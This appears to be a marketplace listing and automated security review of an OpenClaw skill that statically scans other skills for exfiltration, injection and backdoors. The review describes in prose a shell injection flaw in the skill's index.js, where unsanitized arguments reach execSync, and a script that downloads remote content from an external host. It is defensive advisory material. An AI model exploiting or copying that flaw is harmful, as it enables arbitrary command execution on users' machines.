Skill Security Scanner

自动检测 JavaScript、TypeScript、Python 和 Shell 文件中的数据外泄、注入、代码混淆与木马后门等安全风险并生成详细报告。

This skill appears internally consistent with its stated purpose (a static security scanner). Before running it: (1) review scripts/scan.sh and scan-all.sh to confirm how they handle remote URLs (cloning/downloading) and whether they execute any network commands; (2) run the scanner in a sandboxed environment or VM and avoid running it as root; (3) if you intend to scan your installed skills, consider copying the skills directory to a safe location first; (4) be aware the scanner uses regex-based detection so expect false positives/negatives—manually inspect any reported findings; (5) the skill will create/read whitelist.txt in its own directory and will execute its scripts locally (via child_process.execSync), which is normal but means it has the ability to perform side-effecting actions permitted by your account. If you are unsure about allowing shell/script execution or network access, inspect the shell scripts line-by-line or run them in an isolated container before using them with real repositories or sensitive directories.

Type: OpenClaw Skill Name: skill-sec-scan-en Version: 1.0.0 The skill is a security scanner designed to perform static analysis on other OpenClaw skills. While its stated purpose is defensive, it contains a critical Shell Injection vulnerability in `index.js`, where user-supplied arguments are passed unsanitized to `child_process.execSync`. Additionally, `scripts/scan.sh` performs network requests to an external endpoint (`wry-manatee-359.convex.site`) to download and unzip remote content, which is a high-risk behavior for a security tool. These flaws allow for potential arbitrary command execution if a user provides a crafted skill name or URL.